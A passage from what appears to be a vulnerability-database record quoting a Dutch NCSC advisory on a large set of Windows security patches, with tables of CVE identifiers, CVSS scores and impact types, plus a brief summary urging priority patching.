|\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:36.152846Z"}, {"uuid": "cde8bd4d-e7c4-425c-bf7d-44242466f111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54128", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | 